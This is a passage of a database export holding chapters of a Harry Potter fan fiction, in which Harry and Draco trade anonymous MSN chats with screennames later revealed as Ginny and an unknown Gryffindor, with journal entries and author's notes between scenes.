heel and left.</p>\n\n<p class="MsoNormal">Draco and Harry stared at the door as i slammed shut behind him,\n&quot;And here I was thinking one on one.&quot;&nbsp; Draco muttered.</p>\n\n<p class="MsoNormal">Harry nodded, &quot;I bags Avada Kedrava.&quot; he said quickly.</p>\n\n<p class="MsoNormal">&quot;Fine.&nbsp; Didn\'t want to do\nthat anyway.&quot; </p>\n\n<p class="MsoNormal">&quot;Which one you doing?&quot; Harry asked curiously, &quot;The\nWeasley curse for touching their lil girl?&quot; he teased.</p>\n\n<p class="MsoNormal">Draco glared at him, &quot;If you tell anyone-&quot;</p>\n\n<p class="MsoNormal">&quot;Yeah yeah.&nbsp; Take a chill\npill.&quot;&nbsp; Harry said waving his hands\nat him, &quot;I won\'t tell.&quot;</p>\n\n<p class="MsoNormal">&quot;Good.&quot;</p>\n\n<p class="MsoNormal">&quot;Now tell me...why <i>Ginny</i>?&quot;</p>\n\n<p class="MsoNormal">&quot;Ugh.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Dear Journal thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">God I\'m still not used to writing that...maybe I should just not write\ndear journal.&nbsp; Maybe I should just write\nDear Harry.&nbsp; Hah what a laugh..no...I\'ll\njust get used to it.&nbsp; Alright so..Draco\nlikes Ginny.&nbsp; Comprehendable beyond\nbelief.&nbsp; I don\'t know why he does.&nbsp; I mean yeah Ginnys pretty and smart and\nstuff...but Ron will kill him.&nbsp; And Fred\nand George.&nbsp; And Percy, if he even\nnoticed.. and Bill and Charlie and ...well I can\'t really say me..but if he\nhurt her...oh he would be hurting after I\'d dealt with him.&nbsp; She\'s like a little sister.&nbsp; What can I say.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Aw man Hermiones giving me that \'I-want-to-read-what-you\'re-writing\'\nlook again.&nbsp; I DONT THINK SO\n\'MIONE!&nbsp; I\'m so not letting her read\nthis...ever.&nbsp; God that\'d be\nembarrassing.&nbsp; Don\'t think of it don\'t\nthink of it don\'t think.&nbsp; Alright\nsorted.&nbsp; Well Moodys been disapearing\nlately.&nbsp; Really bugging me...but what\nare you going to do.&nbsp; So\nyeah...um...worked pretty hard on that DADA assignment he gave me and\nDraco.&nbsp; We\'re both nearly done.&nbsp; It\'s actually pretty interesting.&nbsp; Makes me think up new strategies.&nbsp; Strategies..who am I kidding?&nbsp; The only strategie I\'ve got is RUN.&nbsp; Hah.&nbsp;\nSo yeah..but it\'s actually interesting.&nbsp;\nHm..well I\'m tired.&nbsp; Going to bed\nnow.&nbsp; I wonder who that RedTemptress\nchick is.&nbsp; I wonder if it <i>is</i> Ginny.&nbsp; God that\'d be mad...and that Primrose chick too.&nbsp; Hm aw I dunno.&nbsp; I\'m off. Night.&nbsp; Harry.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Night \'Mione.&quot;&nbsp; Harry\nyawned switching off his computer.</p>\n\n<p class="MsoNormal">&quot;You\'re going to bed <i>now</i>?&quot;&nbsp; Hermione asked amazed, &quot;It\'s only\n10!&quot;</p>\n\n<p class="MsoNormal">&quot;Yeah but I\'m shattered.&nbsp;\nMoody was in such a blow up everything mood today.&quot;</p>\n\n<p class="MsoNormal">&quot;Aw really?&quot;&nbsp; Hermione\nasked sympathetically, &quot;I bet Madame Pomphrey was pleased to see\nyou.&quot;</p>\n\n<p class="MsoNormal">&quot;Er...yeah.&quot;&nbsp; Harry\nsaid, a guilty look on his face.</p>\n\n<p class="MsoNormal">&quot;You did go to see her didn\'t you?&quot;&nbsp; Hermione asked, raising an eyebrow.</p>\n\n<p class="MsoNormal">&quot;Er..yeah.&quot; Harry said, the same guilty look on his face.</p>\n\n<p class="MsoNormal">&quot;HARRY JAMES POTTER!&nbsp; YOU\nLITTLE LIAR!&quot; Hermione yelled.</p>\n\n<p class="MsoNormal">&quot;Shhh!&quot;&nbsp; Harry said\nquietly, trying to ignored Hermione who was practically throwing a fit.</p>\n\n<p class="MsoNormal">&quot;I don\'t believe you!&quot; she yelled, &quot;YOU\'RE SO STUPID\nSOMETIMES!&nbsp; I-&quot; Hermione was cut\noff my a knocking on the door.</p>\n\n<p class="MsoNormal">&quot;Hermione?&nbsp;\nHarry?&quot;&nbsp; the person asked\nthrough the door.</p>\n\n<p class="MsoNormal">Hermione froze, her arms mid air from waving about, &quot;Who is\nit?&quot; she asked.</p>\n\n<p class="MsoNormal">&quot;Who do you think!&quot; the voice said back,sounding a little\nagravated, &quot;Open the bloody door already!&quot; </p>\n\n<p class="MsoNormal">&quot;Coming Ginny.&quot; Harry called, his tone amused.</p>\n\n<p class="MsoNormal">He walked up to the door and opened it, and there stood a short girl\nwith firey red hair, her hands on her hips, &quot;About time!&quot; she said a\nwalked in.</p>\n\n<p class="MsoNormal">Hermione couldnt help but laugh at Ginnys entrance, &quot;How can we\nhelp you?&quot;&nbsp; Hermione asked.</p>\n\n<p class="MsoNormal">Ginnys expression faded, &quot;Oh erm..well actually I need to talk to\nyou Harry.&quot; she said turning to Harry who was shutting the door.</p>\n\n<p class="MsoNormal">&quot;Hm?&nbsp; Oh.&nbsp; Shoot.&quot; he said smiling.</p>\n\n<p class="MsoNormal">&quot;In private.&quot; Ginny said with a glance to Hermione.</p>\n\n<p class="MsoNormal">Harry raised an eyebrow, &quot;Okay...well Hermione do you mind?&nbsp; Or we can go somewhere else.&quot; he said.</p>\n\n<p class="MsoNormal">Hermione shook her head, &quot;Don\'t be silly.&quot; she said with a\nsmile to him and Ginny, &quot;I\'m a bit hungry anyway.&nbsp; And I know Ron has a bag of chocolate frogs\nso I\'ll just pop down to his room.&nbsp;\nCatch you later Ginny.&quot;&nbsp; she\nsaid with a wave a left.</p>\n\n<p class="MsoNormal">Harry watched her leave and then turned to Ginny, &quot;Alright.&nbsp; What\'s the problem?&quot; he asked\nseriously.</p>\n\n<p class="MsoNormal">\'God I hope it\'s not to do with-&quot;</p>\n\n<p class="MsoNormal">&quot;It\'s to do with Draco Malfoy.&quot; Ginny said quickly.</p>\n\n<p class="MsoNormal">Harrys eyes widened, &quot;What about him?&quot; he asked, his voice\nsounded slightly choked and an octave higher, &quot;I mean.&nbsp; Has he been hasseling you?&quot; he asked\nhis voice sounding more normal.</p>\n\n<p class="MsoNormal">&quot;No no.&nbsp; It\'s not like\nthat.&quot;&nbsp; Ginny said, her right hand\nwas twisting her hair around her fingers.</p>\n\n<p class="MsoNormal">&quot;Ginny what is it?&quot;&nbsp;\nHarry asked softly sitting down on his bed and patting it for her to\ncome and sit beside him.</p>\n\n<p class="MsoNormal">&quot;I...I think I like him.&quot; she said, not meeting Harrys gaze.</p>\n\n<p class="MsoNormal">&quot;You do?&quot;&nbsp; Harry asked,\nnearly falling off the bed, &quot;But why?&quot;</p>\n\n<p class="MsoNormal">Ginny glared at him, &quot;I don\'t know! Oh forget it!&nbsp; I thought maybe you\'d understand but I guess\nnot.&quot; she said standing up ready to storm off.</p>\n\n<p class="MsoNormal">&quot;Ginny wait.&nbsp; Calm\ndown.&nbsp; Alright I\'m sorry.&quot; Harry\nsaid catching her wrist and pulling her back down.</p>\n\n<p class="MsoNormal">Ginnys eyes were filled with tears, &quot;What will Ron say?&quot; she\nasked, sniffling.</p>\n\n<p class="MsoNormal">Harry bit back a grin, &quot;I think you should be more worried about\nwhat he\'ll do.&quot; he said.</p>\n\n<p class="MsoNormal">Ginny punched his arm, &quot;Not funny!&quot; she said, chuckling a\nlittle.</p>\n\n<p class="MsoNormal">Harry grinned, &quot;Look Ginny.&nbsp;\nMaybe you should tell him.&quot;</p>\n\n<p class="MsoNormal">&quot;As if.&quot; she said flatly, &quot;He\'d turn me down flat.&quot;</p>\n\n<p class="MsoNormal">&quot;You don\'t know that for sure.&quot;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&quot;He hasn\'t said anything to you.&quot;&nbsp; Ginny turned to him, a hopeful look in her eye,&quot;has\nhe?&quot; she asked.</p>\n\n<p class="MsoNormal">Harry bit back a chuckle, &quot;How about this.&nbsp; I\'ll...mention you to him and if he likes\nyou then I\'ll get him to go and tell you alright?&quot;&nbsp; he asked, &quot;But I really think you\nshould tell him.&quot;</p>\n\n<p class="MsoNormal">Ginny shook her head, &quot;No!&nbsp;\nI won\'t.&nbsp; I couldn\'t.&nbsp; Thanks Harry you\'re the best!&nbsp; By the way..do you know who someone called\nGoldenPhoenix is?&nbsp; It\'s their\nscreenname.&quot;</p>\n\n<p class="MsoNormal">Harry raised his eyebrows, &quot;Why?&quot; he asked.</p>\n\n<p class="MsoNormal">Ginny blushed, &quot;I was just wondering...because...oh nevermind.&nbsp; Do you know?&quot; she asked.</p>\n\n<p class="MsoNormal">Harry chuckled, &quot;I might.&quot; he said.</p>\n\n<p class="MsoNormal">Ginny practically pounced on him, &quot;Who!&quot; she demanded.</p>\n\n<p class="MsoNormal">&quot;Not telling.&quot;&nbsp; Harry\nsaid shaking his head.</p>\n\n<p class="MsoNormal">&quot;Why not?&quot; she asked.</p>\n\n<p class="MsoNormal">&quot;Because.&quot;</p>\n\n<p class="MsoNormal">&quot;Because why?&quot;</p>\n\n<p class="MsoNormal">&quot;Because I said so that\'s why!&nbsp;\nNow scoot I\'m tired and I was going to bed before you came along!&quot;&nbsp; Harry said laughing.</p>\n\n<p class="MsoNormal">&quot;Already?&nbsp; Gee you\'ve become\nsuch an old man.&quot;&nbsp; Ginny teased.</p>\n\n<p class="MsoNormal">&quot;HEY!&nbsp; I\'m not an old\nman!&quot;</p>\n\n<p class="MsoNormal">&quot;Sure thing gramps.&quot;&nbsp;\nGinny said running to the door.</p>\n\n<p class="MsoNormal">&quot;Get back here!&quot;&nbsp; Harry\nyelled and chased after the squealing Ginny who was running down the corridor,\nlaughing and throwing insults over her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wake up Harry.&quot;&nbsp;\nHermione said shaking him.</p>\n\n<p class="MsoNormal">&quot;Ugh.&quot;&nbsp; Harry moaned\nand rolled over.</p>\n\n<p class="MsoNormal">&quot;Harry wake up!&quot;&nbsp;\nHermione insisted.</p>\n\n<p class="MsoNormal">&quot;Five more minutes.&quot; he groaned.</p>\n\n<p class="MsoNormal">&quot;GET UP THIS INSTANT OR I\'LL...I\'ll...you\'ll miss uh..you\'ll miss\nthe me, lavender and ginny flashing!&quot;&nbsp;\nHermione said, throwing her hands into the air in exasperation.</p>\n\n<p class="MsoNormal">Harry sat up and looked around wildly, &quot;Where?&quot; he asked.</p>\n\n<p class="MsoNormal">Hermione growled and smacked up on the back of the head, &quot;Well..at\nleast your up.&quot; she said.</p>\n\n<p class="MsoNormal">Harry looked at her sleepily, &quot;You mean your not flashing?&quot; he\nasked.</p>\n\n<p class="MsoNormal">Hermione glared at him.&nbsp; Her\nsilence the only answer he needed.</p>\n\n<p class="MsoNormal">&quot;You said you\'d flash.&nbsp; And\nI want to see it!&quot;&nbsp; Harry said\nstanding up and approaching her quietly.</p>\n\n<p class="MsoNormal">Hermione turned around to growl at him, her eyes widened as she saw he\nwas only inches away from her, &quot;Don\'t you dare!&quot; she squealed as he\nstarted tickling her.</p>\n\n<p class="MsoNormal">&quot;How are you going to make me stop huh huh huh?&quot; Harry\nlaughed, tickling her most ticklish spots.</p>\n\n<p class="MsoNormal">&quot;AH! Harry! Stop!! Ahh!! Do-don\'t!&quot; she cried breathlessly.</p>\n\n<p class="MsoNormal">Harry stopped, both of them panting a little.</p>\n\n<p class="MsoNormal">&quot;That was horrible!&nbsp; Your so\nmean!&quot;&nbsp; Hermione said laughing a\nlittle.</p>\n\n<p class="MsoNormal">Harry grinned at her and winked, &quot;You better believe it.&quot; </p>\n\n<p class="MsoNormal">She shook her head at him, &quot;Well at least your up now.&quot;</p>\n\n<p class="MsoNormal">Harry looked at his clock, &quot;Wow...would you look at that!&nbsp; I\'m up before my clock went off.&quot;</p>\n\n<p class="MsoNormal">&quot;That\'s because you never SET your clock last night.&quot;</p>\n\n<p class="MsoNormal">&quot;Ah...&quot;&nbsp; Harry said\ngiving her a sheepish look, &quot;Hm.&nbsp; I\nneed a shower.&quot;</p>\n\n<p class="MsoNormal">&quot;Me too.&quot;&nbsp; Hermione\nsaid collecting her stuff together.</p>\n\n<p class="MsoNormal">&quot;Well I\'m going in first.&quot;&nbsp;\nHarry said running to the bathroom, &quot;You take forever.&quot;</p>\n\n<p class="MsoNormal">&quot;Do not!&nbsp; And I\'m going in\nfirst!&quot;&nbsp; Hermione said running as well\nreaching the door at the same time as him.</p>\n\n<p class="MsoNormal">Harry knocked her out of the way carefully with his side and opened the\ndoor and turned to shut it but she slipped through.</p>\n\n<p class="MsoNormal">&quot;Hahah.&nbsp; Now get out!&quot;\nshe said pointing to the door.</p>\n\n<p class="MsoNormal">&quot;I\'m not going anywhere.&quot;&nbsp;\nHarry said folding his arms across his chest.</p>\n\n<p class="MsoNormal">&quot;Well I\'m not going anywhere either!&quot;&nbsp; Hermione said putting her hands on her hips,\n&quot;So you can go have your shower if your going to be stubborn but I\'m not\nleaving.&quot;</p>\n\n<p class="MsoNormal">Harry chuckled, &quot;I don\'t think so.&quot; he said and picked her up,\nignoring her squeals of protest and walked outside to their room, dumped her on\nthe bed and ran into the bathroom, locking the door behind him.</p>\n\n<p class="MsoNormal">&quot;Harry James Potter!&nbsp; Open\nthis door this instant!&quot;&nbsp; Hermione\nsaid banging on the door.</p>\n\n<p class="MsoNormal">&quot;Can\'t hear you \'Mione.&nbsp; I\'m\nin the shower.&quot; he called back.</p>\n\n<p class="MsoNormal">&quot;YOU LITTLE!!&quot;&nbsp;\nHermione yelled back, but he could hear her laughing.</p>\n\n<p class="MsoNormal">&quot;Be out soon!&quot;</p>\n\n<p class="MsoNormal">Hermione couldn\'t help but laugh at the way Harry had taken her out,\n\'He\'s so cheeky! I\'ll get him later.\' she said sitting down on her bed.</p>\n\n<p class="MsoNormal">Her eyes were drawn to Harrys laptop sitting beside his bed, with a\nglance to the bathroom and a glance to the laptop she ran over, grabbed it and\nflipped it open. </p>\n\n<p class="MsoNormal">\'Alright.&nbsp; Now I\'ll get to read\nwhat he wrote!\' she thought to herself.</p>\n\n<p class="MsoNormal">The little window popped open, \'Password.&nbsp; Hermione.&nbsp; Still can\'t\nbelive that..\' she thought to herself as it accepted her password. </p>\n\n<p class="MsoNormal">Hermione looked at the screen and suddenly felt waves of guilt wash over\nherself, \'Why do I feel so guilty.&nbsp; He\'s\nkeeping things from me.&nbsp; I\'m his\nfriend.&nbsp; I should know\neverything...but...I can\'t do this.&nbsp;\nIt\'s not me.&nbsp; I just can\'t.\' she\nthough to herself and quicky shut down his computer again.</p>\n\n<p class="MsoNormal">\'It\'s his private computer..I can\'t just...read it.&nbsp; Maybe he\'ll tell me.&nbsp; On his own.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry logged onto his MSN account, &quot;Why is it that Moody never\nseems to show up anymore?&quot;&nbsp; he\nasked Draco who was also logging on.</p>\n\n<p class="MsoNormal">&quot;I dunno.&nbsp; Maybe because we\nhave an assignment?&quot;&nbsp; Draco said with\na shrug.</p>\n\n<p class="MsoNormal">Harry scanned his list of contacts who were online, &quot;Ohh\nRedTemptress is on.&quot; he said with a wink to Draco who blushed, &quot;If it\n<i>was</i> and I\'m just saying was, Ginny\nwould you go out with her?&quot; he asked.</p>\n\n<p class="MsoNormal">Draco looked at him for a moment, &quot;Has she said something to\nyou?&quot; he asked.</p>\n\n<p class="MsoNormal">Harry rolled his eyes, &quot;Maybe.&nbsp;\nWould you?&quot; he asked.</p>\n\n<p class="MsoNormal">Draco bit his lip, &quot;If she meant it.&nbsp; Has she?&quot; he asked.</p>\n\n<p class="MsoNormal">Harry nodded, &quot;Last night.&nbsp;\nShe said she did...but she doesn\'t want to say anything because she\ndoesn\'t think you like her.&quot;</p>\n\n<p class="MsoNormal">Draco grinned, &quot;Well I do so it\'s not a problem is it?&quot;</p>\n\n<p class="MsoNormal">&quot;What about her?&quot;&nbsp;\nHarry asked pointing to Dracos screen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Hey there!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco bit his lip, &quot;I\'ll tell her who I am...if it\'s not\nGinny...then I\'ll tell her I\'m not interested.&quot; he said finally.</p>\n\n<p class="MsoNormal">Harry smiled, &quot;I gotta watch this!&quot; he said.</p>\n\n<p class="MsoNormal">Draco glared at him, but nodded, &quot;I guess..if it weren\'t for\nyou...oh alright.&quot; he said.</p>\n\n<p class="MsoNormal">Harry grinned and shuffled his chair closer so he could read.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SilverSerpent: Hey.&nbsp; How are you?</p>\n\n<p class="MsoNormal">RedTemptress:&nbsp; Good you?</p>\n\n<p class="MsoNormal">SilverSerpent: I\'m good.&nbsp; Who are\nyou?</p>\n\n<p class="MsoNormal">RedTemptress:&nbsp; Not this again.</p>\n\n<p class="MsoNormal">SilverSerpent: I\'m serious.&nbsp; If\nyou tell me who you are I\'ll tell you who I am.</p>\n\n<p class="MsoNormal">RedTemptress: You tell me first.</p>\n\n<p class="MsoNormal">SilverSerpent: Okay...</p>\n\n<p class="MsoNormal">RedTemptress: So who are you?</p>\n\n<p class="MsoNormal">SilverSerpent: Draco Malfoy.</p>\n\n<p class="MsoNormal">SilverSerpent:&nbsp; Who are you?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was silence for a moment.&nbsp;\nDraco frowned, &quot;Shit it\'s not her is it?&quot; he asked.</p>\n\n<p class="MsoNormal">Harry bit his lip, &quot;I don\'t know...maybe.&nbsp; Maybe she\'s just busy with class.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Oh. Um..it doesn\'t matter who I am.&nbsp; You wouldn\'t want to talk to me.</p>\n\n<p class="MsoNormal">SilverSerpent: That\'s so not fair! I said I\'d tell if you did! SO TELL.</p>\n\n<p class="MsoNormal">RedTemptress: If you tease me!</p>\n\n<p class="MsoNormal">SilverSerpent: I won\'t.&nbsp; If I do\nthen you have permission to..uh...to get Harry Potter to break my leg okay?</p>\n\n<p class="MsoNormal">RedTemptress: Lol okay.</p>\n\n<p class="MsoNormal">SilverSerpent: So who are you?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN: CLIFFIE!! HAHAHAHAHAHA AW ARENT I MEAN?? HAHAH ^_^ you\'ll just have\nto stay tuned!! hehehehe.&nbsp; What did you\nthink of that?&nbsp; Good? Bad? Okay? RATE\nAND REVIEW!! ^_^ R&amp;R&amp;R the 3 R\'s. Read Rate Review! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(205, 6, '\n\n\n\n<p class="MsoNormal">Disclaimer: I don\'t own \'em. Said it before and I\'ll say it again ^_^.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Notes: Wow. how many reviews did I get telling me I was evil???\nHeh.&nbsp; Man!&nbsp; I felt popular!&nbsp;\nThreatened..but popular! ^_^;; Okay well thanks to everyone who\nreviewed! On with the chapter!&nbsp; I know\nyou guys are all wondering WHO the mystery girl is!!</p>\n\n<p class="MsoNormal">This chappie is dedicated to AnglNymph. Thanks so much for helping me\nget an A for my english oral sweetie!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Oh my god!&nbsp; I\ndon\'t believe it.&nbsp; I just...can\'t\nbelieve it.</p>\n\n<p class="MsoNormal">SilverSerpent: I know.</p>\n\n<p class="MsoNormal">GoldenPhoenix: I thought it was....</p>\n\n<p class="MsoNormal">SilverSerpent: I hoped it was...</p>\n\n<p class="MsoNormal">GoldenPhoenix: Yeah...gosh so...RedTemptress is...</p>\n\n<p class="MsoNormal">SilverSerpent: Yeah.&nbsp; It\'s\nshocking isn\'t it?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">{AN: *ducks the flying objects* alright settle down you\'ll find out\nsoon!!!}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Yeah...so are you going to meet her where you said you\nwould?</p>\n\n<p class="MsoNormal">SilverSerpent: Should I?</p>\n\n<p class="MsoNormal">GoldenPhoenix: She\'ll be mad if you don\'t.</p>\n\n<p class="MsoNormal">SilverSerpent: She\'ll probably be mad if I DO.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Yeah...but not AS mad.</p>\n\n<p class="MsoNormal">SilverSerpent: True...why are we talking over MSN?&nbsp; We\'re sitting next to each other.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Er...good point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco rolled his eyes, &quot;Alright then lets not shall we?&quot; he\nasked in a drawling voice.</p>\n\n<p class="MsoNormal">Harry chuckled, &quot;Alright then.&nbsp;\nI\'m still in shock.&nbsp; RedTemptress\nis...&quot;</p>\n\n<p class="MsoNormal">&quot;I know...but man...&quot;&nbsp;\nDraco said trailing off too.</p>\n\n<p class="MsoNormal">There was silence in the room before Harry broke it.</p>\n\n<p class="MsoNormal">&quot;Ginny!&quot;&nbsp; Harry\nexclaimed.</p>\n\n<p class="MsoNormal">They flashed each other a grin.</p>\n\n<p class="MsoNormal">&quot;So Ginny likes me huh?&quot;&nbsp;\nDraco asked, a small smiled still on his face.</p>\n\n<p class="MsoNormal">&quot;Yep.&quot;&nbsp; Harry said with\na smile, &quot;Oh look she\'s talking again.&quot; he said pointing to Dracos\nscreen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Alright this is awkward now.</p>\n\n<p class="MsoNormal">SilverSerpent: I don\'t think it is.</p>\n\n<p class="MsoNormal">RedTemptess: Aren\'t you..angry?</p>\n\n<p class="MsoNormal">SilverSerpent: Why would I be?</p>\n\n<p class="MsoNormal">RedTemptress: Because I\'m Ginny Weasley.&nbsp; I don\'t know like sister of one of your enemys?</p>\n\n<p class="MsoNormal">SilverSerpent: Weasley isn\'t my enemy.&nbsp;\nPotter was.</p>\n\n<p class="MsoNormal">RedTemptress: was?</p>\n\n<p class="MsoNormal">SilverSerpent: Mmmhmm.</p>\n\n<p class="MsoNormal">RedTemptress: As in not anymore?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco flashed a look at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SilverSerpent: Right.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned and turned back to his own computer.&nbsp; Seeing a little window flashing he clicked\nit up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Primrose: Hi.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Hey there.</p>\n\n<p class="MsoNormal">Primrose: How are you?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Good. You?</p>\n\n<p class="MsoNormal">Primrose: I\'m good.</p>\n\n<p class="MsoNormal">GoldenPhoenix: So...who are you?</p>\n\n<p class="MsoNormal">Primrose: Oh god lets not start that again.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Lol.&nbsp; Alright\nthen.&nbsp; </p>\n\n<p class="MsoNormal">Primrose: OMG FOR REAL?!?! GINNY!!!</p>\n\n<p class="MsoNormal">GoldenPhoenix: huh? ginny? im not ginny.</p>\n\n<p class="MsoNormal">Primrose: OMG! I\'m so sorry!! That was meant for a different\nconversation!</p>\n\n<p class="MsoNormal">GoldenPhoenix: Heh I guessed. So your talking to Ginny Weasley huh?</p>\n\n<p class="MsoNormal">Primrose: That\'s right.&nbsp; Sorry\nbout that lol. I clicked the wrong window!</p>\n\n<p class="MsoNormal">GoldenPhoenix: I guessed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I think Ginnys told..uh whoever this chick is.&quot;&nbsp; Harry said looking at Draco who was typing\nfuriously into his laptop.</p>\n\n<p class="MsoNormal">&quot;Mmmhmm.&quot; he said, not listening to a word Harry said.</p>\n\n<p class="MsoNormal">Harry raised an eyebrow, &quot;Oh and Ginnys pregnant.&quot; he said.</p>\n\n<p class="MsoNormal">&quot;Mmmhmm.&quot;</p>\n\n<p class="MsoNormal">&quot;With Rons baby.&quot;</p>\n\n<p class="MsoNormal">&quot;Mmmhmm.&quot; </p>\n\n<p class="MsoNormal">&quot;And shes an alien.&quot;</p>\n\n<p class="MsoNormal">&quot;Mmmhmm.&quot;</p>\n\n<p class="MsoNormal">Harry rolled his eyes exasperated and punched Dracos\nshoulder,&quot;Oi!&quot;</p>\n\n<p class="MsoNormal">&quot;What?&quot;&nbsp; Draco asked\nlooking at Harry for the first time.</p>\n\n<p class="MsoNormal">&quot;I was talking to you, you know.&quot; Harry said.</p>\n\n<p class="MsoNormal">Draco chuckled, &quot;Well I wasn\'t listening.&quot;</p>\n\n<p class="MsoNormal">&quot;Obviously.&quot;</p>\n\n<p class="MsoNormal">&quot;What were you saying?&quot; he asked.</p>\n\n<p class="MsoNormal">&quot;I was saying that I think Ginnys told who I\'m talking to.&quot;\nHarry repeated.</p>\n\n<p class="MsoNormal">&quot;Has she?&quot;&nbsp; Draco\nasked, looking a little worried.&nbsp; He\nturned and started typing into his computer.&nbsp;\nHarry leaned to the right a little so he could see.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SilverSerpent: Have you told people about us?</p>\n\n<p class="MsoNormal">RedTemptress: I\'ve only old one person.&nbsp;\nDo you mind?</p>\n\n<p class="MsoNormal">SilverSerpent: I was actually hoping you wouldn\'t so it\'d be between\njust us.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i>I</i> know.&quot;</p>\n\n<p class="MsoNormal">&quot;Shut up Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: I\'m sorry.&nbsp; Really\nI am.&nbsp; I didn\'t know..I just wanted to\ntell someone.&nbsp; She won\'t tell anyone.</p>\n\n<p class="MsoNormal">SilverSerpent: Promise?</p>\n\n<p class="MsoNormal">RedTemptress:Yes I promise.&nbsp; But\nwhats the big deal?&nbsp; Don\'t you want\nanyone to know that you online dated a Weasley?&nbsp; Not good enough for you??</p>\n\n<p class="MsoNormal">SilverSerpent: It\'s nothing like that! </p>\n\n<p class="MsoNormal">RedTemptress: Sure.</p>\n\n<p class="MsoNormal">SilverSerpent: It\'s not!&nbsp; I\nswear.&nbsp; I just wanted it to be between\nus for a while you know?&nbsp; Like private.&nbsp; So I could get to know the real you.</p>\n\n<p class="MsoNormal">RedTemptress: Really?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Awww how cute.&quot;&nbsp; Harry\nmocked.&nbsp; </p>\n\n<p class="MsoNormal">Draco glared at him, &quot;Shut up you.&nbsp;\nYour friend is talking to you.&quot; he said pointing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Primrose: Do you know Ginny?</p>\n\n<p class="MsoNormal">GoldenPhoenix:&nbsp; You could say\nthat.&nbsp; Are you Lavender Brown or Parvati\nPatil?</p>\n\n<p class="MsoNormal">Primrose: NO!</p>\n\n<p class="MsoNormal">GoldenPhoenix: Alright calm calm.&nbsp;\nJust wondering.</p>\n\n<p class="MsoNormal">Primrose: Hmph. Well I\'m not.&nbsp;\nAre you in Gryffindor?</p>\n\n<p class="MsoNormal">GoldenPhoenix: I might be.&nbsp; Are\nyou?</p>\n\n<p class="MsoNormal">Primrose: I might be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Alright then.</p>\n\n<p class="MsoNormal">Primrose: Alright. ^_^ so tell me what class are you in?</p>\n\n<p class="MsoNormal">GoldenPhoenix: DADA you?</p>\n\n<p class="MsoNormal">Primrose: Lol!! Transfiguration ^_^;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Ah guess you always have Trans when I have DADA huh?</p>\n\n<p class="MsoNormal">Primrose: Guess so. So hows Moody?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Er...good.</p>\n\n<p class="MsoNormal">Primrose: Hey...I was just thinking...your in DADA right?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Right.</p>\n\n<p class="MsoNormal">Primrose: So that means you do...Expert 